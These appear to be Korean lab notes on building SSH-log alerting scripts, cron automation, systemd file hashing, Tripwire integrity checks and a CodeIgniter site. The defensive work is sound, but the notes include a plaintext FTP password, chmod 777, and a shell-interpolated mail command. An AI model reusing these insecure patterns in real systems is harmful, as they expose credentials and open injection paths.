ip_stats[ip]["failed_count"] += 1 ip_stats[ip]["last_time"] = r['received_at'] # 위험도가 높은 순(실패 횟수가 많은 순 -> 성공 횟수가 많은 순)으로 정렬 sorted_stats = sorted( ip_stats.items(), key=lambda x: (x[1]['failed_count'], x[1]['success_count']), reverse=True ) output_list.append("\n" + "=" * 90) output_list.append(f"📊 [{title_prefix} - SSH 접속 시도 통합 통계]") output_list.append("-" * 90) if not sorted_stats: output_list.append("조회된 SSH 접근 기록이 없습니다.") else: output_list.append(f"{'접근 시도 IP':<22} | {'실패 횟수':<10} | {'성공 횟수':<10} | {'가장 최근 접근 시간':<20}") output_list.append("-" * 90) for ip, stats in sorted_stats: output_list.append( f"{ip:<22} | {stats['failed_count']:>5} 회 | {stats['success_count']:>5} 회 | {stats['last_time']}" ) output_list.append("=" * 90) def save_csv(results, filename): """상세 내역 전체를 로컬 CSV 파일로 저장합니다.""" fieldnames = [ "id", "received_at", "device_time", "host", "syslogtag", "facility", "priority", "remote_ip", "access_type", "message" ] with open(filename, "w", newline="", encoding="utf-8-sig") as f: writer = csv.DictWriter(f, fieldnames=fieldnames) writer.writeheader() writer.writerows(results) def main(): output = [] today_str = datetime.now().strftime("%Y-%m-%d") output.append(f"📦 [보고서 생성 시간: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]") output.append(f"[*] 분석 대상 호스트: {TARGET_HOST}") # 1. DB 데이터 로드 및 1차 파싱 rows = fetch_logs() all_results = analyze_logs(rows) # 2. 금일 데이터 슬라이싱 today_results = [r for r in all_results if r['received_at'].startswith(today_str)] # 3. 섹션 1 생성 (오늘) output.append("\n" + "#" * 40 + f"\n▶ SECTION 1. 금일 현황 ({today_str})\n" + "#" * 40) output.append(f"[+] 오늘 발생한 접속 흔적 건수: {len(today_results)}건") generate_integrated_report(output, today_results, "오늘 하루") # 4. 섹션 2 생성 (누적) output.append("\n\n" + "#" * 40 + "\n▶ SECTION 2. 역대 누적 현황 (전체 기간)\n" + "#" * 40) output.append(f"[+] 데이터베이스 내 전체 누적 건수: {len(all_results)}건") generate_integrated_report(output, all_results, "전체 누적") # 5. 하단 꼬리말 추가 (발송처 기록) output.append("\n" + "-" * 40) output.append(f"📢 [발송처] 본 메일은 IP020 서버에서 자동 생성 및 발송되었습니다.") output.append("-" * 40) # 6. 보고서 원문 조립 full_report = "\n".join(output) # 콘솔 화면 출력 print(full_report) # 7. 리눅스 시스템 mail 명령을 이용한 메일 전송 try: process = subprocess.Popen( ['mail', '-s', MAIL_SUBJECT, MAIL_TO], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) stdout, stderr = process.communicate(input=full_report) if process.returncode == 0: print(f"\n[+] 통합 통계 보고서 이메일 발송 완료! ({MAIL_TO})") else: print(f"\n[-] 이메일 발송 실패 (코드 {process.returncode}): {stderr}") except Exception as e: print(f"\n[-] 메일 발송 중 시스템 예외 발생: {e}") # 8. 백업 데이터 로컬 저장 save_csv(all_results, OUTPUT_CSV) print(f"[+] 상세 분석 로컬 CSV 파일 저장 완료: {OUTPUT_CSV}") if __name__ == "__main__": main()
코드를 완성 한 후 실행
python3 check.py
정상적으로 코드가 완성 되었으면 메일이 보내진다!
알람기능추가
rsyslog_alert/
├─ venv/
├─ config.ini
├─ log_alert.py
├─ requirements.txt
└─ output/
alert.pyimport re import csv import json import smtplib import requests import pymysql import configparser from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from datetime import datetime # ========================= # 설정 로드 # ========================= config = configparser.ConfigParser() config.read("config.ini", encoding="utf-8") DB_HOST = config["database"]["host"] DB_PORT = int(config["database"]["port"]) DB_USER = config["database"]["user"] DB_PASSWORD = config["database"]["password"] DB_NAME = config["database"]["database"] TABLE_NAME = config["database"]["table"] TARGET_HOST = config["target"]["host"] LIMIT = int(config["target"]["limit"]) ENABLE_EMAIL = config.getboolean("alert", "enable_email", fallback=False) ENABLE_KAKAO = config.getboolean("alert", "enable_kakao", fallback=False) ENABLE_LINE = config.getboolean("alert", "enable_line", fallback=False) FAILED_THRESHOLD = int(config["alert"].get("failed_threshold", 5)) EMAIL_SMTP_HOST = config["email"].get("smtp_host", "") EMAIL_SMTP_PORT = int(config["email"].get("smtp_port", 587)) EMAIL_SMTP_USER = config["email"].get("smtp_user", "") EMAIL_SMTP_PASSWORD = config["email"].get("smtp_password", "") EMAIL_FROM = config["email"].get("from_addr", "") EMAIL_TO = config["email"].get("to_addr", "") KAKAO_ACCESS_TOKEN = config["kakao"].get("access_token", "") LINE_CHANNEL_ACCESS_TOKEN = config["line"].get("channel_access_token", "") LINE_TO_USER_ID = config["line"].get("to_user_id", "") OUTPUT_CSV = f"{TARGET_HOST}_access_trace.csv" # ========================= # 정규식 / 키워드 # ========================= IP_REGEX = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b") ACCESS_KEYWORDS = [ "Accepted password", "Accepted publickey", "Failed password", "Invalid user", "session opened", "session closed", "sudo", "authentication failure", "Connection closed", "Disconnected from", "login", "logout", "GET ", "POST " ] def extract_ip(text): if not text: return "" m = IP_REGEX.search(text) return m.group(0) if m else "" def classify_access(syslogtag, message): tag = (syslogtag or "").lower() msg = (message or "").lower() if "accepted password" in msg or "accepted publickey" in msg: return "SSH_LOGIN_SUCCESS" elif "failed password" in msg: return "SSH_LOGIN_FAILED" elif "invalid user" in msg: return "SSH_INVALID_USER" elif "session opened" in msg: return "SESSION_OPENED" elif "session closed" in msg: return "SESSION_CLOSED" elif "sudo" in tag or "sudo" in msg: return "SUDO_ACTIVITY" elif "authentication failure" in msg: return "AUTH_FAILURE" elif "get " in msg or "post " in msg: return "WEB_ACCESS" else: return "OTHER" def is_access_log(syslogtag, message): combined = f"{syslogtag or ''} {message or ''}".lower() return any(k.lower() in combined for k in ACCESS_KEYWORDS) def fetch_logs(): conn = pymysql.connect( host=DB_HOST, port=DB_PORT, user=DB_USER, password=DB_PASSWORD, database=DB_NAME, charset="utf8mb4" ) try: with conn.cursor() as cursor: sql = f""" SELECT ID, ReceivedAt, DeviceReportedTime, Facility, Priority, FromHost, SysLogTag, Message FROM {TABLE_NAME} WHERE FromHost = %s OR Message LIKE %s ORDER BY ReceivedAt DESC LIMIT %s """ cursor.execute(sql, (TARGET_HOST, f"%{TARGET_HOST}%", LIMIT)) return cursor.fetchall() finally: conn.close() def analyze_logs(rows): results = [] for row in rows: log_id = row[0] received_at = row[1] device_time = row[2] facility = row[3] priority = row[4] from_host = row[5] syslogtag = row[6] message = row[7] if not is_access_log(syslogtag, message): continue results.append({ "id": log_id, "received_at": str(received_at), "device_time": str(device_time), "host": from_host, "syslogtag": syslogtag, "facility": facility, "priority": priority, "remote_ip": extract_ip(message), "access_type": classify_access(syslogtag, message), "message": message }) results.sort(key=lambda x: x["received_at"]) return results def save_csv(results, filename): fieldnames = [ "id", "received_at", "device_time", "host", "syslogtag", "facility", "priority", "remote_ip", "access_type", "message" ] with open(filename, "w", newline="", encoding="utf-8-sig") as f: writer = csv.DictWriter(f, fieldnames=fieldnames) writer.writeheader() writer.writerows(results) def summarize_alerts(results): """ 알림 대상 이벤트 집계 """ summary = { "failed_count": 0, "success_count": 0, "sudo_count": 0, "root_attempts": 0, "top_ips": {}, "events": [] } for r in results: msg = (r["message"] or "").lower() access_type = r["access_type"] remote_ip = r["remote_ip"] or "UNKNOWN" if access_type == "SSH_LOGIN_FAILED": summary["failed_count"] += 1 summary["top_ips"][remote_ip] = summary["top_ips"].get(remote_ip, 0) + 1 summary["events"].append(f"[실패] {r['received_at']} {remote_ip} {r['message']}") elif access_type == "SSH_LOGIN_SUCCESS": summary["success_count"] += 1 summary["events"].append(f"[성공] {r['received_at']} {remote_ip} {r['message']}") elif access_type == "SUDO_ACTIVITY": summary["sudo_count"] += 1 summary["events"].append(f"[SUDO] {r['received_at']} {remote_ip} {r['message']}") if "failed password for root" in msg or "invalid user root" in msg: summary["root_attempts"] += 1 return summary def build_alert_message(summary): top_ip_text = "" sorted_ips = sorted(summary["top_ips"].items(), key=lambda x: x[1], reverse=True) if sorted_ips: top_ip_text = "\n".join([f" - {ip}: {count}회" for ip, count in sorted_ips[:5]]) else: top_ip_text = " - 없음" lines = [] lines.append(f"[경보] {TARGET_HOST} 접속 이상 징후 탐지") lines.append("") lines.append(f"호스트: {TARGET_HOST}") lines.append(f"실패 로그인: {summary['failed_count']}회") lines.append(f"성공 로그인: {summary['success_count']}회") lines.append(f"sudo 활동: {summary['sudo_count']}회") lines.append(f"root 시도: {summary['root_attempts']}회") lines.append("") lines.append("[상위 원격 IP]") lines.append(top_ip_text) lines.append("") lines.append("[최근 이벤트 최대 10건]") for ev in summary["events"][-10:]: lines.append(ev) return "\n".join(lines) def should_alert(summary): """ 알림 발송 기준 """ if summary["failed_count"] >= FAILED_THRESHOLD: return True if summary["root_attempts"] > 0: return True if summary["success_count"] > 0: return True if summary["sudo_count"] > 0: return True return False # ========================= # 메일 알림 # ========================= def send_email(subject, body): if not ENABLE_EMAIL: print("[INFO] 이메일 알림 비활성화") return if not EMAIL_SMTP_HOST or not EMAIL_FROM or not EMAIL_TO: print("[WARN] 이메일 설정이 부족합니다.") return msg = MIMEMultipart() msg["From"] = EMAIL_FROM msg["To"] = EMAIL_TO msg["Subject"] = subject msg.attach(MIMEText(body, "plain", "utf-8")) try: with smtplib.SMTP(EMAIL_SMTP_HOST, EMAIL_SMTP_PORT) as server: server.starttls() if EMAIL_SMTP_USER: server.login(EMAIL_SMTP_USER, EMAIL_SMTP_PASSWORD) server.sendmail(EMAIL_FROM, [EMAIL_TO], msg.as_string()) print("[OK] 이메일 알림 발송 완료") except Exception as e: print(f"[ERROR] 이메일 발송 실패: {e}") # ========================= # 카카오톡 알림 (나에게 보내기) # ========================= def send_kakao_message(text): """ 카카오 '나와의 채팅'으로 텍스트 메시지 전송 """ if not ENABLE_KAKAO: print("[INFO] 카카오톡 알림 비활성화") return if not KAKAO_ACCESS_TOKEN: print("[WARN] 카카오 access_token이 없습니다.") return url = "https://kapi.kakao.com/v2/api/talk/memo/default/send" headers = { "Authorization": f"Bearer {KAKAO_ACCESS_TOKEN}", "Content-Type": "application/x-www-form-urlencoded" } template_object = { "object_type": "text", "text": text[:1000], # 너무 길면 잘라서 보냄 "link": { "web_url": "https://developers.kakao.com", "mobile_web_url": "https://developers.kakao.com" }, "button_title": "확인" } data = { "template_object": json.dumps(template_object, ensure_ascii=False) } try: resp = requests.post(url, headers=headers, data=data, timeout=10) if resp.status_code == 200: print("[OK] 카카오톡 알림 발송 완료") else: print(f"[ERROR] 카카오톡 발송 실패: {resp.status_code} / {resp.text}") except Exception as e: print(f"[ERROR] 카카오톡 발송 예외: {e}") # ========================= # LINE 알림 # ========================= def send_line_message(text): if not ENABLE_LINE: print("[INFO] LINE 알림 비활성화") return if not LINE_CHANNEL_ACCESS_TOKEN or not LINE_TO_USER_ID: print("[WARN] LINE 설정이 부족합니다.") return url = "https://api.line.me/v2/bot/message/push" headers = { "Authorization": f"Bearer {LINE_CHANNEL_ACCESS_TOKEN}", "Content-Type": "application/json" } payload = { "to": LINE_TO_USER_ID, "messages": [ { "type": "text", "text": text[:5000] } ] } try: resp = requests.post(url, headers=headers, json=payload, timeout=10) if resp.status_code == 200: print("[OK] LINE 알림 발송 완료") else: print(f"[ERROR] LINE 발송 실패: {resp.status_code} / {resp.text}") except Exception as e: print(f"[ERROR] LINE 발송 예외: {e}") def main(): print(f"[+] {TARGET_HOST} 관련 로그 조회 시작") rows = fetch_logs() print(f"[+] 원본 로그 건수: {len(rows)}") results = analyze_logs(rows) print(f"[+] 접속 흔적 건수: {len(results)}") save_csv(results, OUTPUT_CSV) print(f"[+] CSV 저장 완료: {OUTPUT_CSV}") summary = summarize_alerts(results) alert_needed = should_alert(summary) print("[+] 분석 요약") print(summary) if alert_needed: alert_text = build_alert_message(summary) subject = f"[ALERT] {TARGET_HOST} 접속 이상 징후" print("[+] 이상 징후 감지 -> 알림 발송") send_email(subject, alert_text) send_kakao_message(alert_text) send_line_message(alert_text) else: print("[+] 경보 기준 미충족: 알림 미발송") if __name__ == "__main__": main()
로그 전송 자동화
로그를 메일로 보내는데 성공 했으니 일정 시간마다 자동으로 실행되도록 하자
sudo nano /etc/crontab
0 * * * * root /home/master/mysite/bin/python3 /home/master/check.py > /home/master/cron.log 2>&1
sudo timedatectl set-ntp false
시간을 수동으로 설정해주기 위해 잠시 꺼준 후
sudo timedatectl set-time "2026-06-25 01:59:00"
1분 기다려보니 메일이 정상적으로 발송된다
sudo timedatectl set-ntp true
다시 시간을 정상화 해주면 자동화가 끝났다
오늘 한 일
rsyslog 분석,
python을 활용한 로그 원격 전송,
cron을 활용한 원격 전송 자동화
내일 할 일
나중에 프로그램 위변조 또는 변화가 생겼을 때 쉽게 찾을 수 있도록 해쉬값 추출해두기
현재 개인 서버의 상태
cd /etc/systemd/system
find /etc/systemd/system -maxdepth 1 -type f | wc -l
파일 갯수 0
find /etc/systemd/system -maxdepth 1 -type d | wc -l
파일 갯수 26
Tripwire
서버 및 시스템의 파일 무결성을 점검하는 대표적인 오픈소스 보안 도구
2026-06-26
Tripwire를 이용한 무결성 검사 및 CodeIgniter
›
내용
일일 업무
Q. 노트는 정상적으로 백업되었는가?
A. /backup 폴더에 정상적으로 backup_2026-06-26_02-00-02.tar.gz 백업 파일이 있음을 확인
Q. 94번 서버로 정상적으로 전송되어 있는가?
A. 94번 서버에 정상적으로 backup_2026-06-26_02-00-02.tar.gz 파일이 있는 것을 확인
Q. cron을 통해 매 시간 log를 제대로 전송하고 있는가?
A. 매 시간 메일로 보내지고 있음을 확인
진행 과정
진행 단계
1. 설치
2. 하드 추가
lvm
raid
3. 필수 유틸 설치
4. 웹서버 설치
5. 노트생성
6. 백업
7. 자동화
8. 메일
9. 로그
10. 무결성검증
11. 웹서비스 시작
Apache WSGI Flask
해시값을 이용한 무결성 검사
victim의 해시값
/etc/systemd/system/emergency.target.wants/grub-initrd-fallback.service,md5,b1dafed94afcf30d9fdfa25da8f92509,408,2022-12-18 21:21:26
nano hash.py
hash.py#!/usr/bin/env python3 import os import hashlib import csv from datetime import datetime TARGET_DIR = "/etc/systemd/system" OUTPUT_CSV = "systemd_system_hashes.csv" HASH_ALGORITHM = "md5" # md5, sha1, sha256 등 가능 def calculate_hash(file_path, algorithm="sha256", chunk_size=8192): """ 파일 해시 계산 """ hash_func = hashlib.new(algorithm) with open(file_path, "rb") as f: while chunk := f.read(chunk_size): hash_func.update(chunk) return hash_func.hexdigest() def get_file_info(file_path): """ 파일 기본 정보 수집 """ stat_info = os.stat(file_path) return { "size": stat_info.st_size, "mtime": datetime.fromtimestamp(stat_info.st_mtime).strftime("%Y-%m-%d %H:%M:%S") } def hash_systemd_files(target_dir, output_csv, algorithm="sha256"): """ /etc/systemd/system 하위 파일들의 해시 계산 후 CSV 저장 """ if not os.path.isdir(target_dir): print(f"[ERROR] 디렉토리가 존재하지 않습니다: {target_dir}") return results = [] for root, dirs, files in os.walk(target_dir): for file_name in files: file_path = os.path.join(root, file_name) # 심볼릭 링크는 별도 표시하고 싶으면 여기서 분기 가능 try: file_info = get_file_info(file_path) file_hash = calculate_hash(file_path, algorithm) results.append({ "file_path": file_path, "hash_algorithm": algorithm, "hash_value": file_hash, "size": file_info["size"], "mtime": file_info["mtime"] }) print(f"[OK] {file_path} | {file_hash}") except PermissionError: print(f"[PERMISSION DENIED] {file_path}") results.append({ "file_path": file_path, "hash_algorithm": algorithm, "hash_value": "PERMISSION_DENIED", "size": "", "mtime": "" }) except Exception as e: print(f"[ERROR] {file_path} 처리 실패: {e}") results.append({ "file_path": file_path, "hash_algorithm": algorithm, "hash_value": f"ERROR: {e}", "size": "", "mtime": "" }) # CSV 저장 with open(output_csv, "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter( f, fieldnames=["file_path", "hash_algorithm", "hash_value", "size", "mtime"] ) writer.writeheader() writer.writerows(results) print("\n[완료]") print(f"총 파일 수: {len(results)}") print(f"결과 저장: {output_csv}") if __name__ == "__main__": hash_systemd_files(TARGET_DIR, OUTPUT_CSV, HASH_ALGORITHM)
chmod 777 hash.py
sudo python3 hash.py
파일이 정상적으로 작동한다면 systemd_system_hashes.csv 파일이 생성됨
보기 편하게 하기위해 서버에서 데스크탑으로 보내주자
sz systemd_system_hashes.csv
개인 서버의 해시값
b1dafed94afcf30d9fdfa25da8f92509
victim서버의 해시값
b1dafed94afcf30d9fdfa25da8f92509
비교해 보니 해시값이 같다
즉 위변조가 일어나지 않았다
미션
list.pyimport os import hashlib from pathlib import Path def get_file_md5(file_path): """파일의 MD5 해시값을 구하는 함수""" md5_hash = hashlib.md5() try: # 대용량 파일이나 링크 오류를 대비해 블록 단위로 읽기 with open(file_path, "rb") as f: for byte_block in iter(lambda: f.read(4096), b""): md5_hash.update(byte_block) return md5_hash.hexdigest() # MD5 전체 32자리 반환 except Exception: return "N/A" def generate_tree(dir_path, prefix=""): """디렉토리 구조와 파일 MD5 해시값을 트리 형태로 생성하는 재귀 함수""" try: items = sorted(list(dir_path.iterdir()), key=lambda x: (x.is_file(), x.name.lower())) except PermissionError: return [f"{prefix}└── [접근 권한 없음]"] except Exception as e: return [f"{prefix}└── [오류: {e}]"] tree_lines = [] count = len(items) for index, item in enumerate(items): is_last = (index == count - 1) connector = "└── " if is_last else "├── " # 1. 심볼릭 링크인 경우 if item.is_symlink(): try: link_target = os.readlink(item) real_path = item.resolve() if real_path.is_file(): file_hash = get_file_md5(real_path) info = f"[Link to File, MD5: {file_hash}]" else: info = "[Link to Dir/None]" tree_lines.append(f"{prefix}{connector}{item.name} -> {link_target} {info}") except Exception: tree_lines.append(f"{prefix}{connector}{item.name} -> [링크 깨짐]") # 2. 일반 디렉토리인 경우 elif item.is_dir(): tree_lines.append(f"{prefix}{connector}{item.name}/ [Directory]") next_prefix = prefix + (" " if is_last else "│ ") tree_lines.extend(generate_tree(item, next_prefix)) # 3. 일반 파일인 경우 elif item.is_file(): file_hash = get_file_md5(item) tree_lines.append(f"{prefix}{connector}{item.name} [MD5: {file_hash}]") return tree_lines def main(): target_dir = Path("/etc/systemd/system") output_file = "systemd_system.txt" if not target_dir.exists(): print(f"오류: {target_dir} 경로가 존재하지 않습니다.") return print(f"'{target_dir}' 분석 및 MD5 해시값 추출 중...") lines = [f"{target_dir} [Directory]"] + generate_tree(target_dir) output_content = "\n".join(lines) try: with open(output_file, "w", encoding="utf-8") as f: f.write(output_content) print(f"성공! MD5 해시값이 포함된 결과가 '{output_file}'에 저장되었습니다.") except PermissionError: print(f"오류: 권한이 없습니다. 'sudo python3 list.py'로 실행해 주세요.") except Exception as e: print(f"오류 발생: {e}") if __name__ == "__main__": main()
apache2.service -> /usr/lib/systemd/system/apache2.service [Link to File, MD5: fad8b9c1c85cb90821faa328d276f98a]
/etc/systemd/system
체크후 파일을 매 시간마다 메일로 보낼것
systemd_system.pyimport os import hashlib import subprocess from pathlib import Path from datetime import datetime def get_file_md5(file_path): """파일의 MD5 해시값을 구하는 함수""" md5_hash = hashlib.md5() try: with open(file_path, "rb") as f: for byte_block in iter(lambda: f.read(4096), b""): md5_hash.update(byte_block) return md5_hash.hexdigest() except Exception: return "N/A" def generate_tree(dir_path, prefix=""): """디렉토리 구조와 파일 MD5 해시값을 트리 형태로 생성하는 재귀 함수""" try: items = sorted(list(dir_path.iterdir()), key=lambda x: (x.is_file(), x.name.lower())) except PermissionError: return [f"{prefix}└── [접근 권한 없음]"] except Exception as e: return [f"{prefix}└── [오류: {e}]"] tree_lines = [] count = len(items) for index, item in enumerate(items): is_last = (index == count - 1) connector = "└── " if is_last else "├── " if item.is_symlink(): try: link_target = os.readlink(item) real_path = item.resolve() if real_path.is_file(): file_hash = get_file_md5(real_path) info = f"[Link to File, MD5: {file_hash}]" else: info = "[Link to Dir/None]" tree_lines.append(f"{prefix}{connector}{item.name} -> {link_target} {info}") except Exception: tree_lines.append(f"{prefix}{connector}{item.name} -> [링크 깨짐]") elif item.is_dir(): tree_lines.append(f"{prefix}{connector}{item.name}/ [Directory]") next_prefix = prefix + (" " if is_last else "│ ") tree_lines.extend(generate_tree(item, next_prefix)) elif item.is_file(): file_hash = get_file_md5(item) tree_lines.append(f"{prefix}{connector}{item.name} [MD5: {file_hash}]") return tree_lines def send_html_mail(subject, receiver, tree_content): """HTML 서식을 적용하여 mail 명령어로 발송하는 함수""" current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') # 메일 본문을 HTML 구조로 예쁘게 디자인합니다. # 고정 폭 폰트(Courier New, Monaco)를 지정하여 트리가 깨지지 않게 만듭니다. html_body = f""" <html> <body style="font-family: 'Malgun Gothic', sans-serif; color: #333; line-height: 1.6;"> <div style="max-width: 800px; margin: 0 auto; padding: 20px; border: 1px solid #e1e1e1; border-radius: 8px; background-color: #fefefe;"> <h2 style="color: #2c3e50; border-bottom: 2px solid #34495e; padding-bottom: 10px; margin-top: 0;"> 📋 시스템 디렉토리 구조 및 MD5 리포트 </h2> <p style="font-size: 14px; color: #7f8c8d; margin-bottom: 20px;"> <strong>발송 서버:</strong> IP020 <br> <strong>확인 시간:</strong> {current_time} </p> <div style="background-color: #2d3748; color: #f7fafc; padding: 20px; border-radius: 6px; font-family: 'Courier New', Courier, Monaco, monospace; font-size: 13px; white-space: pre; overflow-x: auto; box-shadow: inset 0 2px 4px rgba(0,0,0,0.06);"> {tree_content} </div> <p style="font-size: 12px; color: #bdc3c7; margin-top: 20px; text-align: center;"> 본 메일은 Ubuntu 서버 크론탭을 통해 자동 발송되었습니다. </p> </div> </body> </html> """ try: # 깨짐 방지를 위해 임시 파일에 HTML 본문 저장 후 전달하는 방식 채택 tmp_file = "/tmp/mail_body.html" with open(tmp_file, "w", encoding="utf-8") as f: f.write(html_body) # -a 옵션을 사용하여 HTML 메일 헤더를 주입합니다. cmd = f'mail -s "{subject}" -a "Content-Type: text/html; charset=UTF-8" {receiver} < {tmp_file}' subprocess.run(cmd, shell=True, check=True) print(f"성공: HTML 서식이 적용된 메일을 {receiver}로 발송했습니다.") # 임시 파일 삭제 if os.path.exists(tmp_file): os.remove(tmp_file) return True except Exception as e: print(f"메일 발송 중 오류 발생: {e}") return False def main(): target_dir = Path("/etc/systemd/system") base_dir = Path(__file__).resolve().parent output_file = base_dir / "systemd_system.txt" if not target_dir.exists(): print(f"오류: {target_dir} 경로가 존재하지 않습니다.") return # 1. 트리 구조 문자열 생성 및 파일 저장 lines = [f"{target_dir} [Directory]"] + generate_tree(target_dir) output_content = "\n".join(lines) try: with open(output_file, "w", encoding="utf-8") as f: f.write(output_content) except Exception as e: print(f"파일 저장 중 오류 발생: {e}") return # 2. 다듬어진 HTML 메일 발송 mail_subject = "IP020 - systemd 구조 및 MD5 리포트" mail_receiver = "log@mail.jeonjucom.kr" send_html_mail(mail_subject, mail_receiver, output_content) if __name__ == "__main__": main()
Tripwire
최소 감시 정책
/etc/passwd : 계정 정보
/etc/shadow : 암호 정보
/etc/group : 그룹 정보
/etc/sudoers
>Linux에서 어떤 사용자나 그룹이 sudo 명령을 사용할 수 있는지, 그리고 어떤 명령을 어떤 권한으로 실행할 수 있는지를 정의하는 설정 파일
>공격자가 root 권한을 얻으면 /etc/sudoers를 변경하는 경우가 있습니다.
grep -v '^#' /etc/sudoers
/etc/ssh/
/etc/systemd/system/
> 관리자가 직접 생성하거나 수정하는 systemd 서비스(Unit) 설정을 저장하는 디렉터리
> Linux 배포판에서 서비스 자동 실행, 시작 순서, 의존성 등을 관리하는 가장 중요한 위치
>침입자가 서버에 악성코드를 설치하면 가장 많이 사용하는 지속성(Persistence) 기법 중 하나가 systemd 서비스 등록
cat /etc/passwd
master:x:1000:1000:master:/home/master:/bin/bash
yg:x:1001:1001:,,,:/home/yg:/bin/bash
st6:x:1002:1002:,,,:/home/st6:/bin/bash
st1:x:1003:1003:,,,:/home/st1:/bin/bash
st2:x:1004:1004:,,,:/home/st2:/bin/bash
st3:x:1005:1005:,,,:/home/st3:/bin/bash
st4:x:1006:1006:,,,:/home/st4:/bin/bash
st5:x:1007:1007:,,,:/home/st5:/bin/bash
무결성 검증하기(Pass : pass)
sudo apt update
sudo apt -y install tripwire
설치 중 키워드
twadmin
/etc/tripwire/twcfg.txt
설치가 완료되면 폴더를 이동해서 파일 확인
cd /etc/tripwire
IP020-local.key
site.key
tw.cfg
twcfg.txt
tw.pol
twpol.txt
이렇게 기본 파일들이 있더라
실행하기 전에 설정에 어떤것들이 있는지 한번 확인해보자
cat /etc/tripwire/twcfg.txt
cat /etc/tripwire/twpol.txt
tripwire를 한번 실행해보자
옛날 방식
tripwire -m c -s -c /etc/tripwire/tw.cfg
-m c
무결성 검사(Check Mode)를 실행합니다.
현재 시스템 상태를 Tripwire 데이터베이스(*.twd)와 비교합니다
-s
출력 메시지를 최소화합니다
오류나 중요한 결과만 표시하며,
cron이나 자동 실행 시 자주 사용됩니다
-c
사용할 Tripwire 설정 파일을 지정합니다
기본 설정 파일 대신 지정한 설정 파일을 사용합니다
요즘 방식
sudo tripwire --check
명령어를 입력해 줬더니
### Error: File could not be opened.
### Filename: /var/lib/tripwire/IP020.twd
### No such file or directory
### Exiting...
이러한 에러가 뜨면서 작동이 되지 않는다
sudo tripwire --init
The database was successfully generated.
DB가 정상적으로 생성이 되었으면 다시 실행시켜 주면 된다
sudo tripwire --check
-----------------------------------------------------------------------
*** End of report ***
Open Source Tripwire 2.4 Portions copyright 2000-2018 Tripwire, Inc. Tripwire is a registered
trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;
for details use --version. This is free software which may be redistributed
or modified only under certain conditions; see COPYING for details.
All rights reserved.
Integrity check complete.
다시 실행 시켜보면 다음과 같은 메시지와 함께 성공적으로 작동이 된 것을 확인 할 수 있다
작동이 되는것을 확인했으니 파일을 변경시켜보자
spy라는 유저를 추가시켜보자
sudo adduser spy
설정이 완료되었으면 tripwire를 다시 실행
sudo tripwire --check
tripwire --check --cfgfile /etc/tripwire/tw.cfg
설정/정책 수정
sudo nano /etc/tripwire/twcfg.txt
sudo nano /etc/tripwire/twpol.txt
설정 파일 서명
sudo nano /etc/tripwire/twcfg.txt
sudo nano /etc/tripwire/twpol.txt
정책이나 설정이 변경시
sudo twadmin --create-polfile \
--site-keyfile /etc/tripwire/site.key \
/etc/tripwire/twcfg.txt
sudo twadmin --create-polfile \
--site-keyfile /etc/tripwire/site.key \
/etc/tripwire/twpol.txt
최초 DB 생성
sudo tripwire --init
무결성검사
sudo tripwire --check
리포트 출력
sudo twprint --print-report --twrfile /var/lib/tripwire/report/파일명.twr
변경 승인 / DB 업데이트
sudo tripwire --update --twrfile /var/lib/tripwire/report/파일명.twr
정상 기준값 변경하기
sudo tripwire --check --interactive
sudo tripwire --update --twrfile /var/lib/tripwire/report/파일명.twr
최소 감시 정책
/etc/passwd
/etc/shadow
/etc/group
/etc/sudoers
/etc/ssh/
/etc/systemd/system/
/bin
/sbin
/usr/bin
/usr/sbin
/usr/local/bin
/usr/local/sbin
웹서버면 /var/www/
CodeIgniter
호스팅 서버 운영
IP : 192.168.0.29
도메인 : ci4.yg.kr
vscode로 FTP연결
vscode에서 ftp추가
ctrl + shift + P를 눌러주면 simple-ftp 설정이 뜨는데
{
"name": "ci4.yg.kr",
"host": "192.168.0.29",
"port": 21,
"type": "ftp",
"username": "yg",
"password": "pass",
"path": "/home/yg/public_html/",
"autosave": true,
"confirm": true
}
이 코드를 추가해주면 ftp 설정이 완료된다
다시 ctrl + shift + P를 눌러주면 설정들이 뜨는데
여기서 remote ftp를 선택해주면 ftp설정한 목록들이 나온다
여기서 CI4.yg.kr을 선택해주면
원격에 있는 파일들을 불러올 수 있다
프레임 워크의 구조를 알아보자
Ci4 (CodeIgniter)를 알아보자
http://ci4.yg.kr로 접속
설정에 문제가 없다면 CodeIgniter 화면이 정상적으로 출력된다
먼저 메인 화면을 수정해보자
About this page가 알려주기로는
app/Views/welcome_message.php에 메인 화면이 있다고 한다
Welcome to CodeIgniter 부분을 찾아서 본인의 이니셜로 수정해주자
Welcome to YG
변경해주고 덮어쓰기를 OK해주면 정상적으로 웹 페이지 변경된다
로그인 기능을 만들어보자
login.php를 만들어 준 후
웹에서 접속을 시도해보자
404에러가 뜨면서 찾질 못한다
404
Can't find a route for 'GET: Views/login.php'.
라우터가 길을 모르기 때문
라우터에게 길을 알려주자
app/config/Routes.php
여기에 길을 넣어주면 추가된다
$routes->get('/login', 'Home::login');
/login 좋아 이게 경로인건 알겠어
Home::login 이거는 뭔데? 컨트롤러다
Home(클레스) 안에 있는 login(함수)를 찾아라
이것이 그 유명한 MVC다
그 다음 함수를 정의해줘야한다
app/controllers/home.php
여기에서 함수를 추가해주면 된다
public function login(): string
{
return view('login');
}
이렇게 저장해주고 연결을 시도해보면
퍼미션 에러가 난다
파일의 권한을 644로 변경해주자
VSCode에서는 권한을 변경할 수 없으니 XShell에서 접속
ssh 192.168.0.29
login.php 파일의 위치를 찾아서 644로 변경해주면
정상적으로 웹에 login.php의 내용이 보인다
ci4.yg.kr/logout
ci4.yg.kr/registration
도 만들어 준다
Views 폴더 아래에
templates 폴더를 만들어주고
그 아레에 header.php와 footer.php 파일을 만들어준다
